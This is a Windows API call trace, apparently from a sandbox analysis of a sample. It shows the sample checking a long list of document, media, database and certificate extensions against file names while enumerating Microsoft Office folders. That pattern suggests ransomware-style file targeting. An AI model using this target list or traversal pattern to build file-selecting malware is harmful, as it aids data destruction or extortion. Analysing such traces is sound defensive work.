	[0164.441] lstrlenW (lpString=".dtd") returned 4
	[0164.441] lstrcmpiW (lpString1=".dtd", lpString2=".DLL") returned 1
	[0164.441] lstrlenW (lpString=".dwg") returned 4
	[0164.441] lstrcmpiW (lpString1=".dwg", lpString2=".DLL") returned 1
	[0164.441] lstrlenW (lpString=".dwt") returned 4
	[0164.442] lstrcmpiW (lpString1=".dwt", lpString2=".DLL") returned 1
	[0164.442] lstrlenW (lpString=".dx") returned 3
	[0164.442] lstrcmpiW (lpString1=".dx", lpString2="DLL") returned -1
	[0164.442] lstrlenW (lpString=".dxf") returned 4
	[0164.442] lstrcmpiW (lpString1=".dxf", lpString2=".DLL") returned 1
	[0164.442] lstrlenW (lpString=".edml") returned 5
	[0164.442] lstrcmpiW (lpString1=".edml", lpString2="2.DLL") returned -1
	[0164.442] lstrlenW (lpString=".efd") returned 4
	[0164.442] lstrcmpiW (lpString1=".efd", lpString2=".DLL") returned 1
	[0164.442] lstrlenW (lpString=".elf") returned 4
	[0164.442] lstrcmpiW (lpString1=".elf", lpString2=".DLL") returned 1
	[0164.442] lstrlenW (lpString=".emf") returned 4
	[0164.442] lstrcmpiW (lpString1=".emf", lpString2=".DLL") returned 1
	[0164.442] lstrlenW (lpString=".emz") returned 4
	[0164.442] lstrcmpiW (lpString1=".emz", lpString2=".DLL") returned 1
	[0164.442] lstrlenW (lpString=".epf") returned 4
	[0164.442] lstrcmpiW (lpString1=".epf", lpString2=".DLL") returned 1
	[0164.442] lstrlenW (lpString=".eps") returned 4
	[0164.442] lstrcmpiW (lpString1=".eps", lpString2=".DLL") returned 1
	[0164.442] lstrlenW (lpString=".epsf") returned 5
	[0164.442] lstrcmpiW (lpString1=".epsf", lpString2="2.DLL") returned -1
	[0164.442] lstrlenW (lpString=".epsp") returned 5
	[0164.442] lstrcmpiW (lpString1=".epsp", lpString2="2.DLL") returned -1
	[0164.442] lstrlenW (lpString=".erf") returned 4
	[0164.442] lstrcmpiW (lpString1=".erf", lpString2=".DLL") returned 1
	[0164.442] lstrlenW (lpString=".exr") returned 4
	[0164.442] lstrcmpiW (lpString1=".exr", lpString2=".DLL") returned 1
	[0164.442] lstrlenW (lpString=".f4v") returned 4
	[0164.442] lstrcmpiW (lpString1=".f4v", lpString2=".DLL") returned 1
	[0164.442] lstrlenW (lpString=".fido") returned 5
	[0164.442] lstrcmpiW (lpString1=".fido", lpString2="2.DLL") returned -1
	[0164.442] lstrlenW (lpString=".flm") returned 4
	[0164.442] lstrcmpiW (lpString1=".flm", lpString2=".DLL") returned 1
	[0164.442] lstrlenW (lpString=".flv") returned 4
	[0164.442] lstrcmpiW (lpString1=".flv", lpString2=".DLL") returned 1
	[0164.442] lstrlenW (lpString=".frm") returned 4
	[0164.443] lstrcmpiW (lpString1=".frm", lpString2=".DLL") returned 1
	[0164.443] lstrlenW (lpString=".fxg") returned 4
	[0164.443] lstrcmpiW (lpString1=".fxg", lpString2=".DLL") returned 1
	[0164.443] lstrlenW (lpString=".geo") returned 4
	[0164.443] lstrcmpiW (lpString1=".geo", lpString2=".DLL") returned 1
	[0164.443] lstrlenW (lpString=".gif") returned 4
	[0164.443] lstrcmpiW (lpString1=".gif", lpString2=".DLL") returned 1
	[0164.443] lstrlenW (lpString=".grs") returned 4
	[0164.443] lstrcmpiW (lpString1=".grs", lpString2=".DLL") returned 1
	[0164.443] lstrlenW (lpString=".gz") returned 3
	[0164.443] lstrcmpiW (lpString1=".gz", lpString2="DLL") returned -1
	[0164.443] lstrlenW (lpString=".h") returned 2
	[0164.443] lstrcmpiW (lpString1=".h", lpString2="LL") returned -1
	[0164.443] lstrlenW (lpString=".hdr") returned 4
	[0164.443] lstrcmpiW (lpString1=".hdr", lpString2=".DLL") returned 1
	[0164.443] lstrlenW (lpString=".hpp") returned 4
	[0164.443] lstrcmpiW (lpString1=".hpp", lpString2=".DLL") returned 1
	[0164.443] lstrlenW (lpString=".hta") returned 4
	[0164.443] lstrcmpiW (lpString1=".hta", lpString2=".DLL") returned 1
	[0164.443] lstrlenW (lpString=".htc") returned 4
	[0164.443] lstrcmpiW (lpString1=".htc", lpString2=".DLL") returned 1
	[0164.443] lstrlenW (lpString=".htm") returned 4
	[0164.443] lstrcmpiW (lpString1=".htm", lpString2=".DLL") returned 1
	[0164.443] lstrlenW (lpString=".html") returned 5
	[0164.443] lstrcmpiW (lpString1=".html", lpString2="2.DLL") returned -1
	[0164.443] lstrlenW (lpString=".icb") returned 4
	[0164.443] lstrcmpiW (lpString1=".icb", lpString2=".DLL") returned 1
	[0164.443] lstrlenW (lpString=".ics") returned 4
	[0164.443] lstrcmpiW (lpString1=".ics", lpString2=".DLL") returned 1
	[0164.443] lstrlenW (lpString=".iff") returned 4
	[0164.443] lstrcmpiW (lpString1=".iff", lpString2=".DLL") returned 1
	[0164.443] lstrlenW (lpString=".inc") returned 4
	[0164.443] lstrcmpiW (lpString1=".inc", lpString2=".DLL") returned 1
	[0164.443] lstrlenW (lpString=".indd") returned 5
	[0164.443] lstrcmpiW (lpString1=".indd", lpString2="2.DLL") returned -1
	[0164.443] lstrlenW (lpString=".ini") returned 4
	[0164.444] lstrcmpiW (lpString1=".ini", lpString2=".DLL") returned 1
	[0164.444] lstrlenW (lpString=".iqy") returned 4
	[0164.444] lstrcmpiW (lpString1=".iqy", lpString2=".DLL") returned 1
	[0164.444] lstrlenW (lpString=".j2c") returned 4
	[0164.444] lstrcmpiW (lpString1=".j2c", lpString2=".DLL") returned 1
	[0164.444] lstrlenW (lpString=".j2k") returned 4
	[0164.444] lstrcmpiW (lpString1=".j2k", lpString2=".DLL") returned 1
	[0164.444] lstrlenW (lpString=".java") returned 5
	[0164.444] lstrcmpiW (lpString1=".java", lpString2="2.DLL") returned -1
	[0164.444] lstrlenW (lpString=".jp2") returned 4
	[0164.444] lstrcmpiW (lpString1=".jp2", lpString2=".DLL") returned 1
	[0164.444] lstrlenW (lpString=".jpc") returned 4
	[0164.444] lstrcmpiW (lpString1=".jpc", lpString2=".DLL") returned 1
	[0164.444] lstrlenW (lpString=".jpe") returned 4
	[0164.444] lstrcmpiW (lpString1=".jpe", lpString2=".DLL") returned 1
	[0164.444] lstrlenW (lpString=".jpeg") returned 5
	[0164.444] lstrcmpiW (lpString1=".jpeg", lpString2="2.DLL") returned -1
	[0164.444] lstrlenW (lpString=".jpf") returned 4
	[0164.444] lstrcmpiW (lpString1=".jpf", lpString2=".DLL") returned 1
	[0164.444] lstrlenW (lpString=".jpg") returned 4
	[0164.444] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0164.444] lstrlenW (lpString=".jpx") returned 4
	[0164.444] lstrcmpiW (lpString1=".jpx", lpString2=".DLL") returned 1
	[0164.444] lstrlenW (lpString=".js") returned 3
	[0164.444] lstrcmpiW (lpString1=".js", lpString2="DLL") returned -1
	[0164.444] lstrlenW (lpString=".jsf") returned 4
	[0164.444] lstrcmpiW (lpString1=".jsf", lpString2=".DLL") returned 1
	[0164.444] lstrlenW (lpString=".json") returned 5
	[0164.444] lstrcmpiW (lpString1=".json", lpString2="2.DLL") returned -1
	[0164.444] lstrlenW (lpString=".jsp") returned 4
	[0164.444] lstrcmpiW (lpString1=".jsp", lpString2=".DLL") returned 1
	[0164.444] lstrlenW (lpString=".kdc") returned 4
	[0164.444] lstrcmpiW (lpString1=".kdc", lpString2=".DLL") returned 1
	[0164.444] lstrlenW (lpString=".kmz") returned 4
	[0164.444] lstrcmpiW (lpString1=".kmz", lpString2=".DLL") returned 1
	[0164.445] lstrlenW (lpString=".kwm") returned 4
	[0164.445] lstrcmpiW (lpString1=".kwm", lpString2=".DLL") returned 1
	[0164.445] lstrlenW (lpString=".lasso") returned 6
	[0164.445] lstrcmpiW (lpString1=".lasso", lpString2="32.DLL") returned -1
	[0164.445] lstrlenW (lpString=".lbi") returned 4
	[0164.445] lstrcmpiW (lpString1=".lbi", lpString2=".DLL") returned 1
	[0164.445] lstrlenW (lpString=".lgf") returned 4
	[0164.445] lstrcmpiW (lpString1=".lgf", lpString2=".DLL") returned 1
	[0164.445] lstrlenW (lpString=".lgp") returned 4
	[0164.445] lstrcmpiW (lpString1=".lgp", lpString2=".DLL") returned 1
	[0164.445] lstrlenW (lpString=".log") returned 4
	[0164.445] lstrcmpiW (lpString1=".log", lpString2=".DLL") returned 1
	[0164.445] lstrlenW (lpString=".m1v") returned 4
	[0164.445] lstrcmpiW (lpString1=".m1v", lpString2=".DLL") returned 1
	[0164.445] lstrlenW (lpString=".m4a") returned 4
	[0164.445] lstrcmpiW (lpString1=".m4a", lpString2=".DLL") returned 1
	[0164.445] lstrlenW (lpString=".m4v") returned 4
	[0164.445] lstrcmpiW (lpString1=".m4v", lpString2=".DLL") returned 1
	[0164.445] lstrlenW (lpString=".max") returned 4
	[0164.445] lstrcmpiW (lpString1=".max", lpString2=".DLL") returned 1
	[0164.445] lstrlenW (lpString=".md") returned 3
	[0164.445] lstrcmpiW (lpString1=".md", lpString2="DLL") returned -1
	[0164.445] lstrlenW (lpString=".mda") returned 4
	[0164.445] lstrcmpiW (lpString1=".mda", lpString2=".DLL") returned 1
	[0164.445] lstrlenW (lpString=".mdb") returned 4
	[0164.445] lstrcmpiW (lpString1=".mdb", lpString2=".DLL") returned 1
	[0164.445] lstrlenW (lpString=".mde") returned 4
	[0164.445] lstrcmpiW (lpString1=".mde", lpString2=".DLL") returned 1
	[0164.445] lstrlenW (lpString=".mdf") returned 4
	[0164.445] lstrcmpiW (lpString1=".mdf", lpString2=".DLL") returned 1
	[0164.445] lstrlenW (lpString=".mdw") returned 4
	[0164.445] lstrcmpiW (lpString1=".mdw", lpString2=".DLL") returned 1
	[0164.445] lstrlenW (lpString=".mef") returned 4
	[0164.445] lstrcmpiW (lpString1=".mef", lpString2=".DLL") returned 1
	[0164.445] lstrlenW (lpString=".mft") returned 4
	[0164.445] lstrcmpiW (lpString1=".mft", lpString2=".DLL") returned 1
	[0164.446] lstrlenW (lpString=".mfw") returned 4
	[0164.446] lstrcmpiW (lpString1=".mfw", lpString2=".DLL") returned 1
	[0164.446] lstrlenW (lpString=".mht") returned 4
	[0164.446] lstrcmpiW (lpString1=".mht", lpString2=".DLL") returned 1
	[0164.446] lstrlenW (lpString=".mhtml") returned 6
	[0164.446] lstrcmpiW (lpString1=".mhtml", lpString2="32.DLL") returned -1
	[0164.446] lstrlenW (lpString=".mka") returned 4
	[0164.446] lstrcmpiW (lpString1=".mka", lpString2=".DLL") returned 1
	[0164.446] lstrlenW (lpString=".mkidx") returned 6
	[0164.446] lstrcmpiW (lpString1=".mkidx", lpString2="32.DLL") returned -1
	[0164.446] lstrlenW (lpString=".mkv") returned 4
	[0164.446] lstrcmpiW (lpString1=".mkv", lpString2=".DLL") returned 1
	[0164.446] lstrlenW (lpString=".mos") returned 4
	[0164.446] lstrcmpiW (lpString1=".mos", lpString2=".DLL") returned 1
	[0164.446] lstrlenW (lpString=".mov") returned 4
	[0164.446] lstrcmpiW (lpString1=".mov", lpString2=".DLL") returned 1
	[0164.446] lstrlenW (lpString=".mp3") returned 4
	[0164.446] lstrcmpiW (lpString1=".mp3", lpString2=".DLL") returned 1
	[0164.446] lstrlenW (lpString=".mp4") returned 4
	[0164.446] lstrcmpiW (lpString1=".mp4", lpString2=".DLL") returned 1
	[0164.446] lstrlenW (lpString=".mpeg") returned 5
	[0164.446] lstrcmpiW (lpString1=".mpeg", lpString2="2.DLL") returned -1
	[0164.446] lstrlenW (lpString=".mpg") returned 4
	[0164.446] lstrcmpiW (lpString1=".mpg", lpString2=".DLL") returned 1
	[0164.446] lstrlenW (lpString=".mpv") returned 4
	[0164.446] lstrcmpiW (lpString1=".mpv", lpString2=".DLL") returned 1
	[0164.446] lstrlenW (lpString=".mrw") returned 4
	[0164.446] lstrcmpiW (lpString1=".mrw", lpString2=".DLL") returned 1
	[0164.446] lstrlenW (lpString=".msg") returned 4
	[0164.446] lstrcmpiW (lpString1=".msg", lpString2=".DLL") returned 1
	[0164.446] lstrlenW (lpString=".mxl") returned 4
	[0164.446] lstrcmpiW (lpString1=".mxl", lpString2=".DLL") returned 1
	[0164.446] lstrlenW (lpString=".myd") returned 4
	[0164.446] lstrcmpiW (lpString1=".myd", lpString2=".DLL") returned 1
	[0164.446] lstrlenW (lpString=".myi") returned 4
	[0164.446] lstrcmpiW (lpString1=".myi", lpString2=".DLL") returned 1
	[0164.447] lstrlenW (lpString=".nef") returned 4
	[0164.447] lstrcmpiW (lpString1=".nef", lpString2=".DLL") returned 1
	[0164.447] lstrlenW (lpString=".nrw") returned 4
	[0164.447] lstrcmpiW (lpString1=".nrw", lpString2=".DLL") returned 1
	[0164.447] lstrlenW (lpString=".obj") returned 4
	[0164.447] lstrcmpiW (lpString1=".obj", lpString2=".DLL") returned 1
	[0164.447] lstrlenW (lpString=".odb") returned 4
	[0164.447] lstrcmpiW (lpString1=".odb", lpString2=".DLL") returned 1
	[0164.447] lstrlenW (lpString=".odc") returned 4
	[0164.447] lstrcmpiW (lpString1=".odc", lpString2=".DLL") returned 1
	[0164.447] lstrlenW (lpString=".odm") returned 4
	[0164.447] lstrcmpiW (lpString1=".odm", lpString2=".DLL") returned 1
	[0164.447] lstrlenW (lpString=".odp") returned 4
	[0164.447] lstrcmpiW (lpString1=".odp", lpString2=".DLL") returned 1
	[0164.447] lstrlenW (lpString=".ods") returned 4
	[0164.447] lstrcmpiW (lpString1=".ods", lpString2=".DLL") returned 1
	[0164.447] lstrlenW (lpString=".oft") returned 4
	[0164.447] lstrcmpiW (lpString1=".oft", lpString2=".DLL") returned 1
	[0164.447] lstrlenW (lpString=".one") returned 4
	[0164.447] lstrcmpiW (lpString1=".one", lpString2=".DLL") returned 1
	[0164.447] lstrlenW (lpString=".onepkg") returned 7
	[0164.447] lstrcmpiW (lpString1=".onepkg", lpString2="I32.DLL") returned -1
	[0164.447] lstrlenW (lpString=".onetoc2") returned 8
	[0164.447] lstrcmpiW (lpString1=".onetoc2", lpString2="PI32.DLL") returned -1
	[0164.447] lstrlenW (lpString=".opt") returned 4
	[0164.447] lstrcmpiW (lpString1=".opt", lpString2=".DLL") returned 1
	[0164.447] lstrlenW (lpString=".oqy") returned 4
	[0164.447] lstrcmpiW (lpString1=".oqy", lpString2=".DLL") returned 1
	[0164.447] lstrlenW (lpString=".orf") returned 4
	[0164.447] lstrcmpiW (lpString1=".orf", lpString2=".DLL") returned 1
	[0164.447] lstrlenW (lpString=".p12") returned 4
	[0164.447] lstrcmpiW (lpString1=".p12", lpString2=".DLL") returned 1
	[0164.447] lstrlenW (lpString=".p7b") returned 4
	[0164.447] lstrcmpiW (lpString1=".p7b", lpString2=".DLL") returned 1
	[0164.447] lstrlenW (lpString=".p7c") returned 4
	[0164.447] lstrcmpiW (lpString1=".p7c", lpString2=".DLL") returned 1
	[0164.447] lstrlenW (lpString=".pam") returned 4
	[0164.448] lstrcmpiW (lpString1=".pam", lpString2=".DLL") returned 1
	[0164.448] lstrlenW (lpString=".pbm") returned 4
	[0164.448] lstrcmpiW (lpString1=".pbm", lpString2=".DLL") returned 1
	[0164.448] lstrlenW (lpString=".pct") returned 4
	[0164.448] lstrcmpiW (lpString1=".pct", lpString2=".DLL") returned 1
	[0164.448] lstrlenW (lpString=".pcx") returned 4
	[0164.448] lstrcmpiW (lpString1=".pcx", lpString2=".DLL") returned 1
	[0164.448] lstrlenW (lpString=".pdd") returned 4
	[0164.448] lstrcmpiW (lpString1=".pdd", lpString2=".DLL") returned 1
	[0164.448] lstrlenW (lpString=".pdf") returned 4
	[0164.448] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0164.448] lstrlenW (lpString=".pdp") returned 4
	[0164.448] lstrcmpiW (lpString1=".pdp", lpString2=".DLL") returned 1
	[0164.448] lstrlenW (lpString=".pef") returned 4
	[0164.448] lstrcmpiW (lpString1=".pef", lpString2=".DLL") returned 1
	[0164.448] lstrlenW (lpString=".pem") returned 4
	[0164.448] lstrcmpiW (lpString1=".pem", lpString2=".DLL") returned 1
	[0164.448] lstrlenW (lpString=".pff") returned 4
	[0164.448] lstrcmpiW (lpString1=".pff", lpString2=".DLL") returned 1
	[0164.448] lstrlenW (lpString=".pfm") returned 4
	[0164.448] lstrcmpiW (lpString1=".pfm", lpString2=".DLL") returned 1
	[0164.448] lstrlenW (lpString=".pfx") returned 4
	[0164.448] lstrcmpiW (lpString1=".pfx", lpString2=".DLL") returned 1
	[0164.448] lstrlenW (lpString=".pgm") returned 4
	[0164.448] lstrcmpiW (lpString1=".pgm", lpString2=".DLL") returned 1
	[0164.448] lstrlenW (lpString=".php") returned 4
	[0164.448] lstrcmpiW (lpString1=".php", lpString2=".DLL") returned 1
	[0164.448] lstrlenW (lpString=".php3") returned 5
	[0164.448] lstrcmpiW (lpString1=".php3", lpString2="2.DLL") returned -1
	[0164.448] lstrlenW (lpString=".php4") returned 5
	[0164.448] lstrcmpiW (lpString1=".php4", lpString2="2.DLL") returned -1
	[0164.448] lstrlenW (lpString=".php5") returned 5
	[0164.448] lstrcmpiW (lpString1=".php5", lpString2="2.DLL") returned -1
	[0164.448] lstrlenW (lpString=".phtml") returned 6
	[0164.448] lstrcmpiW (lpString1=".phtml", lpString2="32.DLL") returned -1
	[0164.449] lstrlenW (lpString=".pict") returned 5
	[0164.449] lstrcmpiW (lpString1=".pict", lpString2="2.DLL") returned -1
	[0164.449] lstrlenW (lpString=".pl") returned 3
	[0164.449] lstrcmpiW (lpString1=".pl", lpString2="DLL") returned -1
	[0164.449] lstrlenW (lpString=".pls") returned 4
	[0164.449] lstrcmpiW (lpString1=".pls", lpString2=".DLL") returned 1
	[0164.449] lstrlenW (lpString=".pm") returned 3
	[0164.449] lstrcmpiW (lpString1=".pm", lpString2="DLL") returned -1
	[0164.449] lstrlenW (lpString=".png") returned 4
	[0164.449] lstrcmpiW (lpString1=".png", lpString2=".DLL") returned 1
	[0164.449] lstrlenW (lpString=".pnm") returned 4
	[0164.449] lstrcmpiW (lpString1=".pnm", lpString2=".DLL") returned 1
	[0164.449] lstrlenW (lpString=".pot") returned 4
	[0164.449] lstrcmpiW (lpString1=".pot", lpString2=".DLL") returned 1
	[0164.449] lstrlenW (lpString=".potm") returned 5
	[0164.449] lstrcmpiW (lpString1=".potm", lpString2="2.DLL") returned -1
	[0164.449] lstrlenW (lpString=".potx") returned 5
	[0164.449] lstrcmpiW (lpString1=".potx", lpString2="2.DLL") returned -1
	[0164.449] lstrlenW (lpString=".ppa") returned 4
	[0164.449] lstrcmpiW (lpString1=".ppa", lpString2=".DLL") returned 1
	[0164.449] lstrlenW (lpString=".ppam") returned 5
	[0164.449] lstrcmpiW (lpString1=".ppam", lpString2="2.DLL") returned -1
	[0164.449] lstrlenW (lpString=".ppm") returned 4
	[0164.449] lstrcmpiW (lpString1=".ppm", lpString2=".DLL") returned 1
	[0164.449] lstrlenW (lpString=".pps") returned 4
	[0164.449] lstrcmpiW (lpString1=".pps", lpString2=".DLL") returned 1
	[0164.449] lstrlenW (lpString=".ppsm") returned 5
	[0164.449] lstrcmpiW (lpString1=".ppsm", lpString2="2.DLL") returned -1
	[0164.449] lstrlenW (lpString=".ppt") returned 4
	[0164.449] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0164.449] lstrlenW (lpString=".pptm") returned 5
	[0164.449] lstrcmpiW (lpString1=".pptm", lpString2="2.DLL") returned -1
	[0164.449] lstrlenW (lpString=".pptx") returned 5
	[0164.449] lstrcmpiW (lpString1=".pptx", lpString2="2.DLL") returned -1
	[0164.449] lstrlenW (lpString=".prn") returned 4
	[0164.449] lstrcmpiW (lpString1=".prn", lpString2=".DLL") returned 1
	[0164.450] lstrlenW (lpString=".ps") returned 3
	[0164.450] lstrcmpiW (lpString1=".ps", lpString2="DLL") returned -1
	[0164.450] lstrlenW (lpString=".psb") returned 4
	[0164.450] lstrcmpiW (lpString1=".psb", lpString2=".DLL") returned 1
	[0164.450] FindNextFileW (in: hFindFile=0x4140fd8, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10260, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0
	[0164.450] FindClose (in: hFindFile=0x4140fd8 | out: hFindFile=0x4140fd8) returned 1
	[0164.450] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.450] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0164.450] FindClose (in: hFindFile=0x4140298 | out: hFindFile=0x4140298) returned 1
	[0164.450] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0164.450] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 1
	[0164.450] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0164.450] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\SYSTEM\\ole db\\*", lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140298
	[0164.450] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.450] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb8dd674, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb8dd674, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x284defd5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44230, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1
	[0164.451] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e298, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1
	[0164.451] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e298, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0
	[0164.451] FindClose (in: hFindFile=0x4140298 | out: hFindFile=0x4140298) returned 1
	[0164.451] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0164.451] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0
	[0164.451] FindClose (in: hFindFile=0x41401d8 | out: hFindFile=0x41401d8) returned 1
	[0164.451] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0164.451] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf23b4040, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf23b4040, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SYSTEM", cAlternateFileName="")) returned 0
	[0164.451] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0164.451] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0164.453] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX86", cAlternateFileName="PROGRA~4")) returned 1
	[0164.453] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x41a9008
	[0164.453] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\*", lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x41401d8
	[0164.453] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
